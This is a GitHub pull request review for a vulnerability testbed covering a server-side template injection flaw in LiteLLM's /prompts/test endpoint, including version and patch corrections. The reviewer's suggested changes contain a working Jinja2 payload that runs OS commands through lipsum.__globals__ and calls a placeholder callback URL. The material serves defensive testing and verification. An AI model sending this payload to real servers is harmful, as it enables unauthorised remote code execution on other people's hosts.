Skip to content

Testbed for LiteLLM CVE-2026-37004 - #272

Open
sanjaymahajan14 wants to merge 1 commit into
google:mainfrom
sanjaymahajan14:testbeds/cve-2026-37004
Open

sanjaymahajan14 wants to merge 1 commit into
google:mainfrom
sanjaymahajan14:testbeds/cve-2026-37004

Conversation

@sanjaymahajan14

Copy link
Copy Markdown
Contributor

Created testbed for LiteLLM CVE-2026-37004. Please review it.


## Target Environment & Preconditions

* **Vulnerable Versions:** LiteLLM `<= 1.82.4`

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

What about the gap between versions?

Comment on lines +66 to +80
```sh
curl -i -X POST http://localhost:4001/prompts/test \
-H "Content-Type: application/json" \
-d '{"dotprompt_content": "---\nmodel: gpt-3.5-turbo\n---\n{{ \"\".__class__ }}"}'
```

Response:
```http
HTTP/1.1 400 Bad Request
content-type: application/json

{"detail":"No messages found in rendered prompt"}
```

The sandboxed Jinja2 environment restricts access to `__class__` as unsafe, preventing the template evaluation and rejecting the prompt request.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
```sh
curl -i -X POST http://localhost:4001/prompts/test \
-H "Content-Type: application/json" \
-d '{"dotprompt_content": "---\nmodel: gpt-3.5-turbo\n---\n{{ \"\".__class__ }}"}'
```
Response:
```http
HTTP/1.1 400 Bad Request
content-type: application/json
{"detail":"No messages found in rendered prompt"}
```
The sandboxed Jinja2 environment restricts access to `__class__` as unsafe, preventing the template evaluation and rejecting the prompt request.
```sh
curl -i -X POST http://localhost:4001/prompts/test \
-H "Content-Type: application/json" \
-d "{\"dotprompt_content\": \"---\nmodel: gpt-3.5-turbo\n---\n{{ lipsum.__globals__['os'].popen('python3 -c \\\"import requests;requests.get(\\\'YOUR_CALLBACK_URL\\\')\\\"').read() }}\"}"
```
You will not receive any request to your callback URL.

Comment on lines +32 to +48
```sh
curl -i -X POST http://localhost:4000/prompts/test \
-H "Content-Type: application/json" \
-d '{"dotprompt_content": "---\nmodel: gpt-3.5-turbo\n---\n{{ \"\".__class__ }}"}'
```

Response:
```http
HTTP/1.1 200 OK
content-type: text/event-stream; charset=utf-8

data: {"id":"chatcmpl-...","model":"gpt-3.5-turbo","object":"chat.completion.chunk",...}

data: [DONE]
```

The template engine processes the expression without sandboxing and returns HTTP 200.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
```sh
curl -i -X POST http://localhost:4000/prompts/test \
-H "Content-Type: application/json" \
-d '{"dotprompt_content": "---\nmodel: gpt-3.5-turbo\n---\n{{ \"\".__class__ }}"}'
```
Response:
```http
HTTP/1.1 200 OK
content-type: text/event-stream; charset=utf-8
data: {"id":"chatcmpl-...","model":"gpt-3.5-turbo","object":"chat.completion.chunk",...}
data: [DONE]
```
The template engine processes the expression without sandboxing and returns HTTP 200.
```sh
curl -i -X POST http://localhost:4000/prompts/test \
-H "Content-Type: application/json" \
-d "{\"dotprompt_content\": \"---\nmodel: gpt-3.5-turbo\n---\n{{ lipsum.__globals__['os'].popen('python3 -c \\\"import requests;requests.get(\\\'YOUR_CALLBACK_URL\\\')\\\"').read() }}\"}"
```
You will receive a request to your callback URL.

@@ -0,0 +1,5 @@
FROM python:3.11-slim
RUN pip install --no-cache-dir 'litellm[proxy]==1.83.7'

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
RUN pip install --no-cache-dir 'litellm[proxy]==1.83.7'
RUN pip install --no-cache-dir 'litellm[proxy]==1.82.5'


LiteLLM versions `<= 1.82.4` are vulnerable to Server-Side Template Injection (SSTI) in the `/prompts/test` endpoint due to the use of an unsandboxed `jinja2.Environment`. When testing or previewing prompt templates via `POST /prompts/test`, user-controlled template content supplied in the `dotprompt_content` parameter is rendered directly by Jinja2 without sandboxing or restriction. An unauthenticated remote attacker can supply crafted Python dunder expressions (such as `.__class__.__mro__`) to escape the template environment and execute arbitrary OS commands on the host server.

In LiteLLM version `1.83.7-stable` and later, the vulnerability is mitigated by replacing `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment`, which restricts access to private and unsafe attributes.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
In LiteLLM version `1.83.7-stable` and later, the vulnerability is mitigated by replacing `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment`, which restricts access to private and unsafe attributes.
In LiteLLM version `1.83.5` and later, the vulnerability is mitigated by replacing `jinja2.Environment` with `jinja2.sandbox.SandboxedEnvironment`, which restricts access to private and unsafe attributes.

## Target Environment & Preconditions

* **Vulnerable Versions:** LiteLLM `<= 1.82.4`
* **Patched Version:** LiteLLM `>= 1.83.7-stable`

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
* **Patched Version:** LiteLLM `>= 1.83.7-stable`
* **Patched Version:** LiteLLM `>= 1.82.5`

* **Vulnerability Type:** CWE-1336 / CWE-94 (Improper Neutralization of Special Elements used in a Template Engine)
* **Default Exposed Ports:**
* `4000` (Vulnerable instance - LiteLLM 1.82.4)
* `4001` (Patched instance - LiteLLM 1.83.7)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
* `4001` (Patched instance - LiteLLM 1.83.7)
* `4001` (Patched instance - LiteLLM 1.82.5)


### Setup

Start the patched LiteLLM container (`1.83.7`) on port 4001:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
Start the patched LiteLLM container (`1.83.7`) on port 4001:
Start the patched LiteLLM container (`1.82.5`) on port 4001:

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants